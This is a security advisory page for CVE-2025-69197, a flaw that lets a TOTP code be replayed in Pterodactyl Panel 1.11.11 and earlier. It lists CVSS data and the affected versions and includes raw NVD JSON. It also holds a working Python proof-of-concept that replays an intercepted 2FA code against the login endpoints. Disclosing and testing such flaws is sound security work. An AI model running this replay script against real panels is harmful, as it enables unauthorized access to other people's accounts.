Security Vulnerability Report
中文
CVE-2025-69197 CVSS 6.5 MEDIUM

CVE-2025-69197

Published: 2026-01-06 01:16:02
Last Modified: 2026-01-12 21:26:04

Description

Pterodactyl is a free, open-source game server management panel. Versions 1.11.11 and below allow TOTP to be used multiple times during its validity window. Users with 2FA enabled are prompted to enter a token during sign-in, and afterward it is not sufficiently marked as used in the system. This allows an attacker who intercepts that token to use it in addition to a known username/password during the 60-second token validity window. The attacker must have intercepted a valid 2FA token (for example, during a screen share). This issue is fixed in version 1.12.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:pterodactyl:panel:*:*:*:*:*:*:*:* - VULNERABLE
Pterodactyl Panel <= 1.11.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-69197 PoC - TOTP Token Replay Attack # Affected: Pterodactyl Panel <= 1.11.11 import requests import time TARGET_URL = "https://pterodactyl-panel.example.com" USERNAME = "attacker_known_username" PASSWORD = "attacker_known_password" INTERCEPTED_TOTP = "123456" # TOTP code captured via screen share, keylogger, etc. def login_with_totp(username, password, totp_code, session): """Attempt to login with username, password and TOTP code.""" # Step 1: Initial authentication with credentials login_url = f"{TARGET_URL}/auth/login" login_data = { "email": username, "password": password } response = session.post(login_url, data=login_data, allow_redirects=False) if response.status_code in [302, 200]: # Step 2: Submit TOTP code totp_url = f"{TARGET_URL}/auth/2fa" totp_data = { "code": totp_code } totp_response = session.post(totp_url, data=totp_data, allow_redirects=False) return totp_response.status_code == 302 or "token" in totp_response.cookies return False def main(): session = requests.Session() print("[*] CVE-2025-69197 - Pterodactyl TOTP Replay Attack PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Username: {USERNAME}") print(f"[*] TOTP Code: {INTERCEPTED_TOTP}") print("[*] Attempting multiple login attempts with same TOTP...") success_count = 0 for i in range(5): # Try 5 times within validity window if login_with_totp(USERNAME, PASSWORD, INTERCEPTED_TOTP, session): success_count += 1 print(f"[+] Attempt {i+1}: SUCCESS - Login accepted with reused TOTP") else: print(f"[-] Attempt {i+1}: FAILED") time.sleep(5) # Wait 5 seconds between attempts print(f"\n[*] Result: {success_count}/5 attempts succeeded") if success_count > 1: print("[!] VULNERABLE: System accepts reused TOTP codes within validity window") else: print("[+] PATCHED: System correctly rejects reused TOTP codes") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69197", "sourceIdentifier": "[email protected]", "published": "2026-01-06T01:16:01.537", "lastModified": "2026-01-12T21:26:03.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pterodactyl is a free, open-source game server management panel. Versions 1.11.11 and below allow TOTP to be used multiple times during its validity window. Users with 2FA enabled are prompted to enter a token during sign-in, and afterward it is not sufficiently marked as used in the system. This allows an attacker who intercepts that token to use it in addition to a known username/password during the 60-second token validity window. The attacker must have intercepted a valid 2FA token (for example, during a screen share). This issue is fixed in version 1.12.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-294"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pterodactyl:panel:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.0", "matchCriteriaId": "6163FD74-C4E9-4B5C-82B5-9BB139F9FE9D"}]}]}], "references": [{"url": "https://github.com/pterodactyl/panel/commit/032bf076d92bb2f929fa69c1bac1b89f26b8badf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pterodactyl/panel/releases/tag/v1.12.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-rgmp-4873-r683", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}